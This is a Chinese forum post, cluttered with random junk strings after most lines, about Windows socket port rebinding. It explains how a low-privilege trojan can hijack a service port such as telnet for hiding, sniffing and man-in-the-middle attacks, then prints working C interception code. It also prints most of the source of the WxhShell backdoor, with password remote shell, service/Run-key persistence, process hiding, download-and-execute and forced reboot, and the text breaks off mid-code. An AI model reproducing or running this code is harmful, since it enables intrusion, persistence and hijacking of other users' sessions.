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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *seKph+'c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .2hQ!)+  
Y*``C):K%  
  saddr.sin_family = AF_INET; wLD/#Hfi7  
[;VNuF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _Z6/r^c  
^(8 i` `V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &86km FA  
1){1 HK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +a sJV1a  
t8s1d  
  这意味着什么?意味着可以进行如下的攻击: l)z15e5X  
Q8M&nf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nJ4h9`[>V  
IxCEE5+`%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .i/]1X*;r^  
(0W%Y Z!&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,"PwNv  
N_L&!%s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bh*~I_Ta>  
wC BL1[~C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,ewg3mYHC&  
}se)=7d8 Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dv%gmUUf}k  
~GfcI:Zz&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <uL?7P  
'oTcx Jx  
  #include NV;5T3  
  #include y wk;  
  #include z$-/yT"M  
  #include    ,I=Cl mR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $X9Ban]  
  int main() (k M\R|  
  { vD) LRO Z  
  WORD wVersionRequested; v%&f00  
  DWORD ret; C3 0b}2  
  WSADATA wsaData; iTD}gC  
  BOOL val; "JVz v U]  
  SOCKADDR_IN saddr; D +)6#i Y  
  SOCKADDR_IN scaddr; S:vv*5  
  int err; {H $\,  
  SOCKET s; 5DyN=[b  
  SOCKET sc; c ~YD|l  
  int caddsize; ^V_acAuS^  
  HANDLE mt; V{Idj\~Jh  
  DWORD tid;   dWD,iO_"@  
  wVersionRequested = MAKEWORD( 2, 2 ); h1K 3A5  
  err = WSAStartup( wVersionRequested, &wsaData ); 6FSw_[)  
  if ( err != 0 ) { .2 UUU\/5  
  printf("error!WSAStartup failed!\n"); ~A8lvuw3  
  return -1; WGG|d)'@  
  } B0q![  
  saddr.sin_family = AF_INET; 8t}=?:B+{  
   gRdE6aIZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #jr;.;8sQ  
S97.O@V!$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z6>:k,-Ot  
  saddr.sin_port = htons(23); )\^o<x2S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :v{ $]wg  
  { #TW$J/Jb  
  printf("error!socket failed!\n"); +@%9pbM"z  
  return -1; V.Xz n  
  } ~JLqx/[|s  
  val = TRUE; cw"x0 RS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _gC<%6#V`r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EemKYcE@Nr  
  { %/etoK  
  printf("error!setsockopt failed!\n"); |,dMF2ADc  
  return -1; tt J,rM  
  } G:WMocyXI'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K!I]/0L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `y YgL@Zt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Oku4EJFJ  
m3_e]v3{o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P603P  
  { FbFUZ^Zj  
  ret=GetLastError(); =#Vdz=.  
  printf("error!bind failed!\n"); d*A>P  
  return -1; *$# r%  
  } 9d[0i#`:q  
  listen(s,2); Bf'jXM{-  
  while(1) }%k"qW<Y  
  { <u2*(BM4  
  caddsize = sizeof(scaddr); fy_'K}i3k  
  //接受连接请求 #Z$6> Xt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #(aROTV5a  
  if(sc!=INVALID_SOCKET) p6Z]oL q  
  { i $I|JJJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :-"J)^V  
  if(mt==NULL) _"0n.JQg  
  { oSa FmP  
  printf("Thread Creat Failed!\n"); 34;c00  
  break; Ac7`nvI=  
  } "E''ZBLO~  
  } V'K$:9^x[8  
  CloseHandle(mt); P< WD_W  
  } G~B V^  
  closesocket(s); >P0AGZ  
  WSACleanup(); ]NFDE-Jz]  
  return 0; Gzp)OHgJ  
  }   Plq [Ml9  
  DWORD WINAPI ClientThread(LPVOID lpParam) y'@l,MN{  
  { *?K` T^LS  
  SOCKET ss = (SOCKET)lpParam; oQ yG  
  SOCKET sc; .k*2T<p$rC  
  unsigned char buf[4096]; )D[xY0Y~  
  SOCKADDR_IN saddr; }7.q[ ^oF  
  long num; EL}v>sC  
  DWORD val; Tl%4L % bE  
  DWORD ret; LWQ BGiJj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f "&q~V4?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b%PVF&C9W  
  saddr.sin_family = AF_INET; }?fa+FQGp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~36c0 =  
  saddr.sin_port = htons(23); *(>$4$9n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]oya<C6pR  
  { @nc!(P7_  
  printf("error!socket failed!\n"); \ 3LD^[qi  
  return -1; >8 JvnBFx=  
  } Bp/8 >E O`  
  val = 100; GzB%vsv9 5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "V^jAPDXb  
  { %[Ds-my2  
  ret = GetLastError(); ~IqT >  
  return -1; njq-iU  
  } X4k/7EA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F_r eBPx  
  { /uyQ>Y*-\Y  
  ret = GetLastError(); 4Dd9cG,lN  
  return -1; RsOK5XnQn  
  } " LxJPt\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @2$8o]et  
  { }`M6+.z3F  
  printf("error!socket connect failed!\n"); 4xYo2X,B  
  closesocket(sc); X_YD[  
  closesocket(ss); V3+%KkN  
  return -1; '~2v/[<`}  
  } |1<Z3\+_/  
  while(1) * ;M?R?+  
  { *ap#*}r!Nk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [`b{eLCFX]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VuBp$H(U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $U0(%lIU  
  num = recv(ss,buf,4096,0); MnS"M[y3  
  if(num>0) @'rO=(-b  
  send(sc,buf,num,0); % (.PRRI  
  else if(num==0) 3PEs$m9e  
  break; }GC{~ SZ4  
  num = recv(sc,buf,4096,0); aLq;a  
  if(num>0) 0=5i\*5 p  
  send(ss,buf,num,0); B~ez>/H^  
  else if(num==0) 'H9~rq7  
  break; :Aa^afjJw  
  } lxz %b C@  
  closesocket(ss); e5/_Vga  
  closesocket(sc); .o8Gi*PEY  
  return 0 ; 1k~jVC2VA  
  } 8xv\Zj+  
o{hKt?  
i :$g1  
========================================================== .) GVb<w  
>mV""?r]  
下边附上一个代码,,WXhSHELL SeTU`WLEm  
4HHf3j!5  
========================================================== k^]~NP  
;i:7E#@  
#include "stdafx.h" ' #mC4\<W8  
FV9RrI2  
#include <stdio.h> HkN +:  
#include <string.h> Rta P+6'X  
#include <windows.h> MDq@:t  
#include <winsock2.h> w '"7~uN  
#include <winsvc.h> 3OZ}&[3  
#include <urlmon.h> *,pqpD>  
`Qhh{  
#pragma comment (lib, "Ws2_32.lib") k$2Y)  
#pragma comment (lib, "urlmon.lib") 6GN'rVr!Z  
;uDFd04w [  
#define MAX_USER   100 // 最大客户端连接数 +W1rm$Q  
#define BUF_SOCK   200 // sock buffer &Xav$6+Z1J  
#define KEY_BUFF   255 // 输入 buffer G~]BC#nB_  
3 /e !7  
#define REBOOT     0   // 重启 1%+^SR72  
#define SHUTDOWN   1   // 关机 D5p22WY  
FN R& :  
#define DEF_PORT   5000 // 监听端口 k);!H+  
o (zg_!P  
#define REG_LEN     16   // 注册表键长度 L}mhMxOTi  
#define SVC_LEN     80   // NT服务名长度 %Fv)$ :b  
#?*jdN:  
// 从dll定义API d0^2<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +x2xQ8#|~~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P:v y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O+N-x8W{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <gy'@w?  
0d2%CsMS"D  
// wxhshell配置信息 fm* Hk57  
struct WSCFG { 'n no)kQ"  
  int ws_port;         // 监听端口 ^:j$p,0e*S  
  char ws_passstr[REG_LEN]; // 口令 %([c4el>\F  
  int ws_autoins;       // 安装标记, 1=yes 0=no |(<L!6  
  char ws_regname[REG_LEN]; // 注册表键名 WToAT;d2h  
  char ws_svcname[REG_LEN]; // 服务名 [ n2udV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +=_Pl7?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7`}z7nk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P33E\O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kYAvzuGRb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nGVqVSxKT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9PAp*`J@kr  
UPYM~c+}  
}; bq O"k t  
1#(1Bs6X  
// default Wxhshell configuration "J#:PfJ%  
struct WSCFG wscfg={DEF_PORT, ^~Sn{esA  
    "xuhuanlingzhe", f+V':qz  
    1, "->:6Oe2   
    "Wxhshell", B (falmXJ  
    "Wxhshell", ||V:',#,W  
            "WxhShell Service", -eMRxa>  
    "Wrsky Windows CmdShell Service", qAS^5|(b[  
    "Please Input Your Password: ", Nt8(  
  1, "x)DE,  
  "http://www.wrsky.com/wxhshell.exe", [XXN0+ /  
  "Wxhshell.exe" BR2y1Hfi  
    }; J.nq[/Q=  
q~n2VU4L*  
// 消息定义模块 g&>Hy!v,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F?=u:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8##jd[o&p~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^U}0D^jDeE  
char *msg_ws_ext="\n\rExit."; o[#a}5Y  
char *msg_ws_end="\n\rQuit."; >gl.(b25C  
char *msg_ws_boot="\n\rReboot..."; `cpcO  
char *msg_ws_poff="\n\rShutdown..."; ZAZCvN@5  
char *msg_ws_down="\n\rSave to "; +$t%L  
F0Hbklr  
char *msg_ws_err="\n\rErr!"; &[kgrRF@HU  
char *msg_ws_ok="\n\rOK!"; ,k!a3"4+TJ  
fR%8?6  
char ExeFile[MAX_PATH]; nQ\k{%Q  
int nUser = 0; %jk PrI  
HANDLE handles[MAX_USER]; }El_.@'T &  
int OsIsNt; !U_L7  
cy4'q ?r  
SERVICE_STATUS       serviceStatus; Pc'?p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N+5 ^h(~  
gEP E9ew  
// 函数声明 %S.U`(.  
int Install(void); WFP\;(YV  
int Uninstall(void); h86={@Le  
int DownloadFile(char *sURL, SOCKET wsh); w|C~{  
int Boot(int flag); aB^G  
void HideProc(void); t5h_Q92N  
int GetOsVer(void); Z<W6Avr  
int Wxhshell(SOCKET wsl); E 6: p  
void TalkWithClient(void *cs); U[l%oLra  
int CmdShell(SOCKET sock); ItADO'M  
int StartFromService(void); l #Q`f.  
int StartWxhshell(LPSTR lpCmdLine); 7h1gU  
fh#_Mj+y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  #Uh 5tc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "ux]kfoT  
Tm\[q  
// 数据结构和表定义 OU@x1G{Cy  
SERVICE_TABLE_ENTRY DispatchTable[] = V%lGJ]ZEa  
{ :N*T2mP  
{wscfg.ws_svcname, NTServiceMain}, =joXP$n^  
{NULL, NULL} D}sGBsOW  
}; zF&UdS3  
.5;LL,S-  
// 自我安装 -G#k/Rz6  
int Install(void) sG2 3[t8  
{ E]U0CwFtr  
  char svExeFile[MAX_PATH]; (JW?azU  
  HKEY key; -P>=WZu  
  strcpy(svExeFile,ExeFile); :-La $I>  
4rG 7\  
// 如果是win9x系统,修改注册表设为自启动 1m;*fs  
if(!OsIsNt) { ,hLSRj{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CqK#O'\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {yMA7W7]  
  RegCloseKey(key); v`^J3A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RJwIN,&1.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $3[\:+  
  RegCloseKey(key); /v4S@SQ+  
  return 0; NxO^VUD  
    } <0)ud)~u  
  } '-33iG  
} ?i2Wst  
else { 0WE1}.J<  
h6y4Ii  
// 如果是NT以上系统,安装为系统服务 Wx$q:$h@q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FJ8@b  
if (schSCManager!=0) BK9x`Oo2  
{ qO{ ZZ*  
  SC_HANDLE schService = CreateService 2, V+?'^j  
  ( PMhhPw]  
  schSCManager, 1Dp @n  
  wscfg.ws_svcname, _G #"B{7  
  wscfg.ws_svcdisp, ;+34g6  
  SERVICE_ALL_ACCESS, ^z}lGu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bDBO+qA  
  SERVICE_AUTO_START, zL`uiZl  
  SERVICE_ERROR_NORMAL, `(/saq*  
  svExeFile, e>9Z:vY  
  NULL, Yc`j   
  NULL, )kKmgtj  
  NULL, o Xi}@  
  NULL, Du:p!nO  
  NULL YQV?S  
  ); W^.-C  
  if (schService!=0) ^7 bf8 ^`  
  { )nHE$gVM s  
  CloseServiceHandle(schService); Q&7)vs  
  CloseServiceHandle(schSCManager); \UqS -j|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fTV|? :C{  
  strcat(svExeFile,wscfg.ws_svcname); 92]ZiL?k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _T|H69 J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {lTxB'W@d  
  RegCloseKey(key); $>"e\L4Kp  
  return 0; `1bX.7K43  
    } C]yQ "b  
  } h^+C)6(58n  
  CloseServiceHandle(schSCManager); k\sM;bCv7  
} Nv?-*&L  
} |"YA<e %  
/CI%XocB  
return 1; ?koxt4 4  
} 0T#xM(q[K  
N&^xq_9&  
// 自我卸载 HXfXb ^~  
int Uninstall(void) OssR[$69  
{ TT2cOw  
  HKEY key; Mp"'?zf  
ct}%Mdg  
if(!OsIsNt) { u}}9j&^Xa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z%5nVsm:G  
  RegDeleteValue(key,wscfg.ws_regname); 0GX10*t.  
  RegCloseKey(key); 4s~HfxYT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #CA%]*l*F  
  RegDeleteValue(key,wscfg.ws_regname); >$naTSJq  
  RegCloseKey(key); 4[#6<Ixf  
  return 0; p/k<wCm6  
  } poQdI?ed,  
} F|?+>c1}  
} /pN'K5@  
else { a We Bav}_  
~z K@pFeH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ihiuSF<NaQ  
if (schSCManager!=0) twtkH~`"Q  
{ Bhu@ 2KdA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y62u%':X  
  if (schService!=0) wY3|#P CDV  
  { b-BM"~N'  
  if(DeleteService(schService)!=0) { o)#q9Vk%b  
  CloseServiceHandle(schService); Seq]NkgY  
  CloseServiceHandle(schSCManager); lH)em.#  
  return 0; #~4{`]W6  
  } (D>y6r> r  
  CloseServiceHandle(schService); BjyXQ9D  
  } | 7 m5P@X  
  CloseServiceHandle(schSCManager); _}zo /kDA  
} z$c&=Q  
} +[whh  
4e+BqCriC*  
return 1; *5y W  
} n{64g+  
}KA-t}8  
// 从指定url下载文件 '<%Nw-  
int DownloadFile(char *sURL, SOCKET wsh) @P_C%}(<  
{ Any Zi'  
  HRESULT hr; ]l=O%Ev  
char seps[]= "/"; eu}Fd@GO  
char *token; B;GxfYj  
char *file; L1 9 MP  
char myURL[MAX_PATH]; x2C/L  
char myFILE[MAX_PATH]; =t3vbV  
N.0HfYf  
strcpy(myURL,sURL); qRPc %"  
  token=strtok(myURL,seps); /&]-I$G@  
  while(token!=NULL) Gefnk!;;  
  { {_zV5 V  
    file=token; [`.3f'")j  
  token=strtok(NULL,seps); S<eZd./p6  
  } }XCR+uAz  
5S%C~iB  
GetCurrentDirectory(MAX_PATH,myFILE); [jl2\3*  
strcat(myFILE, "\\"); |66m` <  
strcat(myFILE, file); fJLf7+q  
  send(wsh,myFILE,strlen(myFILE),0); #\pP2  
send(wsh,"...",3,0); b JfD\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h; 'W :P  
  if(hr==S_OK) F0&~ ?2nG  
return 0; )L |tn  
else bZ>&QM  
return 1; YH[XRUa  
{*QvC g?  
} J>=1dCK  
k42b:W5%  
// 系统电源模块 Es'-wr\Hm  
int Boot(int flag) :be:-b%K  
{ (R_CUH  
  HANDLE hToken; ?R;nL{  
  TOKEN_PRIVILEGES tkp; 3sZ,|,ueD  
uAu( +zV2  
  if(OsIsNt) { $gVLk.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %z*29iKlI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I*D<J$ 9N  
    tkp.PrivilegeCount = 1; v%lv8Lar'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $sEB'>:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?"{QK:`  
if(flag==REBOOT) { PZys  u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gyi)T?uS)  
  return 0; - <J q  
} 4~O6$;!|~  
else { Zc-#;/b3T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }{ n\tzR  
  return 0; \Yj#2ww  
} 96c"I;\GXX  
  } Ovv ny$  
  else { 8 +"10q-  
if(flag==REBOOT) { $ZQ"({<w<g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EdEoXY-2  
  return 0; Kb-W tFx  
} r4E`'o[  
else { ^vpIZjN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CN7 k?JO<  
  return 0; Q0pzW:=s]  
} (cvh3',  
} ^J8uhV;w  
16I&7=S,  
return 1; %=V"CJ$|  
} R N@^j  
 bRNK.[|  
// win9x进程隐藏模块 @ ]f3| >I  
void HideProc(void) u7HvdLql  
{ %yiD~&  
|/VL35b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uz 0W <u3v  
  if ( hKernel != NULL ) B &?fM~J  
  { H+a~o=/cR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k({2yc#RD&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q(IZJGb  
    FreeLibrary(hKernel); Pg/T^n&  
  } -'6<   
q]px(  
return; lR:?uZ$  
} 8O6_iGTBh  
YG4WS |  
// 获取操作系统版本 Y %K~w  
int GetOsVer(void) R'SBd}1  
{ ,eDD:#)$}  
  OSVERSIONINFO winfo; wX ,h< \7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y+g,pX  
  GetVersionEx(&winfo); .(|+oHg<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4r\*@rq  
  return 1; B/mYoK  
  else / |GT\X4o  
  return 0; KbAR_T1n  
} MM#i t=u  
L\YKdUL  
// 客户端句柄模块 G$C }?"l  
int Wxhshell(SOCKET wsl) ;7rd;zJ  
{ 4QE=f(u;h  
  SOCKET wsh; 7{pIPmJ  
  struct sockaddr_in client; /HkFlfPd  
  DWORD myID; bni) Qw  
;o[rQ6+  
  while(nUser<MAX_USER) 1 tPVP  
{ (? \?it-  
  int nSize=sizeof(client); o~#f1$|Xn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zG#wu   
  if(wsh==INVALID_SOCKET) return 1; Q&xjF@I  
zsDocR   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); daslaa_A  
if(handles[nUser]==0) ;WD,x:>blO  
  closesocket(wsh); f^p^Y F+  
else EUy(T1Cl&&  
  nUser++; #--olEj!  
  } O|I+],  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :?=Q39O9  
XA)'=L!^  
  return 0; mG2VZ>  
} rVH6QQF=\  
~-_i  
// 关闭 socket gWOt]D&#/  
void CloseIt(SOCKET wsh) SWs3SYJ\  
{ T~Ly^|Ihz  
closesocket(wsh); fG&=Ogy  
nUser--; qbiK^g R  
ExitThread(0); X4wH/q^  
} (WRMaI72(  
6YmP[%  
// 客户端请求句柄 T|;@ T^  
void TalkWithClient(void *cs) R)oB!$k  
{ %<} <'V0  
fW(/Loh  
  SOCKET wsh=(SOCKET)cs; *KJB>W%@uM  
  char pwd[SVC_LEN]; E9+HS  
  char cmd[KEY_BUFF]; sWHyL(C@  
char chr[1]; KVR~jF%  
int i,j; <sX VW  
K]/Od  
  while (nUser < MAX_USER) { h/2/vBs  
rkDi+D6`q  
if(wscfg.ws_passstr) {  l{$[}<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GqLq  gns  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {6*#3m Kk  
  //ZeroMemory(pwd,KEY_BUFF); +ZA)/  
      i=0; Nu^p  
  while(i<SVC_LEN) { 83 I-X95  
uSN"vpc4D  
  // 设置超时 >2b`\Q*<  
  fd_set FdRead; _c2WqQ-05  
  struct timeval TimeOut; `G!M>h@  
  FD_ZERO(&FdRead); JoZ(_Jh%m  
  FD_SET(wsh,&FdRead); *fnvZw?  
  TimeOut.tv_sec=8;  $dQIs:  
  TimeOut.tv_usec=0; mR% FqaN_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }D*yr3b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <*(^{a. O  
:,S98z#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z.oU4c  
  pwd=chr[0]; .[:VSM7T  
  if(chr[0]==0xd || chr[0]==0xa) { Pbn!KX~F~  
  pwd=0; W:`#% :C  
  break; @gY\;[#.  
  } tY+$$GSQj  
  i++; vXv;1T  
    } ]$A(9Pn"  
~ #PLAP3-  
  // 如果是非法用户,关闭 socket 4)kG-[#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ''H"^oS  
} $f$|6jM  
sy/nESZs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sOBu7!G%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f>polxB%N  
K j3?ve~  
while(1) { t"vRc4mf  
$ s-Y%gc  
  ZeroMemory(cmd,KEY_BUFF); PuL<^aJ  
Z=?aEU$7  
      // 自动支持客户端 telnet标准   lv%9MW0 z  
  j=0; D`yEwpV^  
  while(j<KEY_BUFF) { J2VTo: In  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ["3\eFg  
  cmd[j]=chr[0]; y_p.Gzy(^}  
  if(chr[0]==0xa || chr[0]==0xd) { IiJZ5'{  
  cmd[j]=0; #Sh <Ih  
  break; zMi; A6  
  } <S?#@F\"S  
  j++; [?k8}B)mHB  
    } o-C#|t3hH  
*\G)z|^yx  
  // 下载文件 0bS|fMgc  
  if(strstr(cmd,"http://")) {  :A1:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  _; Y`  
  if(DownloadFile(cmd,wsh)) @-&MA)SN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T-_"|-k}P%  
  else =(HeF.!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c>:R3^\lwx  
  } bBc[bc>R  
  else { O+vS|  
;30nd=  
    switch(cmd[0]) { /Ncm^b4  
  9X$ma/P[  
  // 帮助 a<~77~"4wn  
  case '?': { eHiy,IN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 47K1$3P  
    break; 9(4&KZpK  
  } R?o$Y6}5  
  // 安装 c!K]J  
  case 'i': { *Hz^K0:8(  
    if(Install()) V)(R]BK{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AlXNg!j;5K  
    else J aTp} #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 457\&  
    break; ` Ag{)  
    } n+;6=1d7ZW  
  // 卸载 'Ft0Ry<OL  
  case 'r': { vw,rF`LjZ  
    if(Uninstall()) p Z: F:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TS2ZF{m  
    else @Fp_^5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EJ@p-}I!  
    break; 4db(<h  
    } *z*uEcitW  
  // 显示 wxhshell 所在路径 c2t=_aAIPQ  
  case 'p': { Y_woKc*  
    char svExeFile[MAX_PATH]; G3G#ep~)vC  
    strcpy(svExeFile,"\n\r"); F8:vDv  
      strcat(svExeFile,ExeFile); Zwz&rIQpT  
        send(wsh,svExeFile,strlen(svExeFile),0); ",7Q   
    break; C?Bl{4-P}*  
    } #|&Sc_#4)  
  // 重启 1i[FY?6`dh  
  case 'b': { nw>8GivO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9RN-suE[  
    if(Boot(REBOOT)) (0YZZ93  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SN7"7joP<  
    else { SCvVt  
    closesocket(wsh); N ,8/Y  
    ExitThread(0); =U%Rvm  
    } - K9c@?  
    break; |KSy`lY-j>  
    } 1cS}J:0P  
  // 关机 8>,jpAN}r  
  case 'd': { (q+)'H%iK  
